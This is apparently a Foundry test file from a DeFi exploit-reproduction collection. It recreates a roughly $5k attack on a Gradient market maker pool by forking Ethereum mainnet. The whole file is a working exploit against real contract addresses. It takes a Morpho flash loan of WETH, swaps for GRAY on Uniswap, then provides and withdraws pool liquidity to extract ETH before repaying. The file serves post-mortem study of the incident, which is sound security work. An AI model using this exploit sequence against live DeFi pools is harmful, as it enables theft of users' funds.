src/test/2025-06/GradientMakerPool_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.15;
3 
4import "../basetest.sol";
5import "../interface.sol";
6 
7// @KeyInfo - Total Lost : 5k USD
8// Attacker : https://etherscan.io/address/0x1234567a98230550894bf93e2346a8bc5c3b36e3
9// Attack Contract : https://etherscan.io/address/0xcb4059bb021f4cf9d90267b7961125210cedb792
10// Vulnerable Contract : https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC
11// Attack Tx : https://etherscan.io/tx/0xb5cfa3f86ce9506e2364475dc43c44de444b079d4752edbffcdad7d1654b1f67
12 
13// @Info
14// Vulnerable Contract Code : https://etherscan.io/address/0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC#code
15 
16// @Analysis
17// Post-mortem : https://t.me/defimon_alerts/1340
18// Twitter Guy : N/A
19// Hacking God : N/A
20pragma solidity ^0.8.0;
21 
22contract GradientPool is BaseTestWithBalanceLog {
23   
24   // State variables
25    uint256 private constant blocknumToForkFrom = 22765113; // blocknumToForkFrom - 1
26    uint256 private constant BORROW_AMOUNT = 3 ether; // 3e18 wei (3000000000000000000)
27    uint256 private constant WETH_WITHDRAW_AMOUNT = 1 ether;
28    uint256 private constant SWAP_AMOUNT_OUT = 1000 ether; // 1000e18
29    uint256 private constant SWAP_AMOUNT_IN_MAX = 1000 ether; // 1000e18
30    uint256 private constant LIQUIDITY_AMOUNT = 950 ether; // 950e18
31    uint256 private constant WITHDRAW_SHARES = 10000;
32    uint256 private constant WETH_DEPOSIT_AMOUNT = 4.010899131704627093 ether; // Precise wei value
33    uint256 private constant DEADLINE = 1750657343;
34 
35    IGradientMarketMakerPool gradientPool = IGradientMarketMakerPool(0x37Ea5f691bCe8459C66fFceeb9cf34ffa32fdadC);
36    IMorphoBuleFlashLoan morphoBlue = IMorphoBuleFlashLoan(0xBBBBBbbBBb9cC5e90e3b3Af64bdAF62C37EEFFCb);
37    IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));
38    IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));
39    IERC20 gray = IERC20(0xa776A95223C500E81Cb0937B291140fF550ac3E4);
40 
41 
42 
43    function setUp() public {
44        vm.createSelectFork("mainnet", blocknumToForkFrom);
45        //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit
46        fundingToken = address(weth);
47    }
48 
49    function testExploit() public balanceLog {
50        //implement exploit code here
51        morphoBlue.flashLoan(address(weth), BORROW_AMOUNT, "");
52    }
53 
54    function onMorphoFlashLoan(uint256 amount, bytes calldata /* data */) external {
55        // Approve Morpho for repayment
56        weth.approve(address(morphoBlue), BORROW_AMOUNT);
57 
58        // Withdraw WETH to ETH
59        weth.withdraw(WETH_WITHDRAW_AMOUNT);
60 
61        // Approve Uniswap router for WETH
62        weth.approve(address(router), WETH_WITHDRAW_AMOUNT);
63 
64        // Swap WETH for GRAY on Uniswap
65        address[] memory path = new address[](2);
66        path[0] = address(weth);
67        path[1] = address(gray);
68        router.swapTokensForExactTokens(
69            SWAP_AMOUNT_OUT,
70            SWAP_AMOUNT_IN_MAX,
71            path,
72            address(this),
73            DEADLINE
74        );
75        
76 
77        // Approve GradientPool for GRAY
78        gray.approve(address(gradientPool), type(uint256).max);
79 
80        // Provide liquidity to GradientPool with ETH
81        uint256 ethAmount =  632090074270700494;
82        gradientPool.provideLiquidity{value: ethAmount}(address(gray), LIQUIDITY_AMOUNT, 0);
83        
84 
85        // Withdraw liquidity
86        gradientPool.withdrawLiquidity(address(gray), WITHDRAW_SHARES);
87      
88 
89        // Deposit ETH back to WETH for repayment
90        weth.deposit{value: WETH_DEPOSIT_AMOUNT}();
91 
92    }
93 
94     // Fallback to receive ETH from WETH withdraw
95    receive() external payable {}
96}
97 
98 
99interface IGradientMarketMakerPool {
100    function provideLiquidity(
101        address token,
102        uint256 tokenAmount,
103        uint256 minTokenAmount
104    ) external payable;
105 
106    function withdrawLiquidity(
107        address token,
108        uint256 shares
109    ) external;
110}
111 
112